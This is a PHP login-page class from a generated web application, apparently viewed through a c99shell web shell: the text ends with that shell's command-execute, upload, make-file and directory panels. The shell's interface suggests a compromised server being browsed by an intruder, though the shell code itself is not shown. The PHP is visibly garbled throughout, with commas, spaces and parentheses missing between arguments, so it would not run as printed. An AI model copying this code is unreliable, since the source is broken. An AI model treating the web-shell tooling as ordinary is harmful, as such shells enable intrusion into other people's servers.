$globalEvents->BeforeShowLogin($this->xt$this->templatefile$this);

        
// load popup login page
        
if( $this->mode == LOGIN_POPUP || $this->mode == LOGIN_EMBEDED && $this->twoFactAuth )
        {
            
$this->displayAJAX$this->templatefile$this->id );
            exit();
        }

        if( 
$this->mode == LOGIN_SIMPLE )
            
$this->assignBody();

        
$this->display$this->templatefile );
    }

    
/**
     *
     */
    
protected function initCredentials()
    {
        
//dummy
    
}

    
/**
     * @return Number
     */
    
public static function readLoginModeFromRequest()
    {
        
$pageMode postvalue("mode");

        if( 
$pageMode == "popup" )
            return 
LOGIN_POPUP;

        if( 
$pageMode == "embeded" )
            return 
LOGIN_EMBEDED;

        return 
LOGIN_SIMPLE;
    }

    
/**
     * @return String
     */
    
public static function readActionFromRequest()
    {
        
$action postvalue("a");

        if( 
$action )
            return 
$action;

        return @
$_POST["btnSubmit"];
    }

    function 
element2Item$name ) {
        if( 
$name == "message" ) {
            return array( 
"login_message" );
        } else if( 
$name == "bsloginregister" ) {
            return array( 
'login_remind''loginform_register_link' );
        }
        return 
parent::element2Item$name );
    }

    public function 
assignFieldBlocksAndLabels()
    {
        
$editFields $this->pSet->getPageFields();

        foreach(
$editFields as $fName)
        {
            
$gfName GoodFieldName($fName);

            
$this->xt->assign($gfName."_fieldblock"true);

            if( 
$this->is508 && !$this->isBootstrap() )
                
$this->xt->assign_section($gfName."_label","<label for=\"" $this->getInputElementId$fName ) . "\">","</label>");
        }
    }

    function 
createProjectSettings() {
        global 
$cLoginTable;
        
$table $this->tName;    // GLOBAL_PAGES
        
if( GetTableURL$cLoginTable ) ) {
            
//    users table is added tothe project
            
$table $cLoginTable;
        }
        
$this->pSet = new ProjectSettings($table$this->pageType$this->pageName$this->pageTable );
        
/**
         * Page type here has priority over page name. If supplied pageName is not compatible with the pageType, ignore the former.
         * ATTENTION! It is not so in the PageSettings class. On the opposite, pageName has priority there.
         */
        
if( $this->pSet->getPageType() !== $this->pageType ) {
            
$this->pSet = new ProjectSettings($table$this->pageTypenull$this->pageTable );
        }
    }

    protected function 
prepareEditControls()
    {
        if( 
$this->mode == LOGIN_EMBEDED )
            return;
        
        
$defvalues $this->controlsData;
        
$controlFields $this->pSet->getPageFields();
        
        foreach( 
$controlFields as $fName )
        {
            
$parameters = array();
            
$parameters["id"] = $this->id;
            
$parameters["mode"] = "add";
            
$parameters["field"] = $fName;
            
$parameters["value"] = $defvalues$fName ];
            
$parameters["pageObj"] = $this;
            
            
$this->xt->assign_functionGoodFieldName$fName )."_editcontrol""xt_buildeditcontrol"$parameters );
            
            if( 
$this->pSet->isUseRTE$fName ) )
                
$_SESSION$this->sessionPrefix."_".$fName."_rte" ] = $defvalues$fName ];
            
            
$firstElementId $this->getControl$fName$this->id )->getFirstElementId();
            if( 
$firstElementId )
                
$this->xt->assign("labelfor_" goodFieldName$fName ), $firstElementId);
            
            
            
$controls = array();
            
$controls["controls"] = array();
            
$controls["controls"]["id"] = $this->id;
            
$controls["controls"]["mode"] = "add";
            
$controls["controls"]["ctrlInd"] = 0;
            
$controls["controls"]["fieldName"] = $fName;
            
            
$preload $this->fillPreload$fName$controlFields$defvalues );
            if( 
$preload !== false )
            {
                
$controls["controls"]["preloadData"] = $preload;
                if( !
$defvalues$fName ] && count$preload["vals"] ) > )
                    
$defvalues$fName ] = $preload["vals"][0];
            }
            
            
$this->fillControlsMap$controls );
            
$this->fillControlFlags$fName );
            
            
// fill special settings for a time picker
            
if( $this->pSet->getEditFormat$fName ) == "Time" )
                
$this->fillTimePickSettings$fName$defvalues$fName ] );
        }
    }
    
    
/**
     * read values from page's controls
     */
    
protected function readControls()
    {
        
$avalues = array();
        
$blobfields = array();
        
$filename_values = array();
        
        foreach( 
$this->pSet->getPageFields() as $f )
        {
            
$control $this->getControl$f$this->id );
            
$control->readWebValue$avalues$blobfieldsNULLNULL$filename_values );
        }
        
        foreach( 
$avalues as $f => $value )
        {
            
// skip blob fields
            
if( !in_array$f$blobfields ) )
                
$this->controlsData$f ] = $value;
        }
    }

    
/**
     * Get where from added page's controls
     */
    
protected function getControlsWhere$cipherer )
    {
        if( !
$this->controlsData )
            return 
"";
        
        
$controlsWhereParts = array();
        foreach( 
$this->controlsData as $f => $value )
        {
            
// prepare_for_db has been already applied in Contol::readWebValue
            
$_value $cipherer->MakeDBValue$f$value""true );
            
$controlsWhereParts[] = $this->getFieldSQLDecrypt$f ) . ' = ' $_value;
        }
        
        return 
" and " implode" and "$controlsWhereParts );
    }
    
    
/**
     * Remove excessive validation for page.
     * Unset "DenyDuplicated" for login controls
     */
    
protected function refineVaidationData( &$fData )
    {
        if( 
$fData && $fData["basicValidate"] )
        {
            
$denyPos array_search"DenyDuplicated"$fData["basicValidate"] );
            if( 
$denyPos !== FALSE )
                
array_splice$fData["basicValidate"], $denyPos);
        }
        
        if( 
$fData && $fData["customMessages"] )
            unset( 
$fData["customMessages"]["DenyDuplicated"] );
        
        return 
$fData;
    }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0045 ]--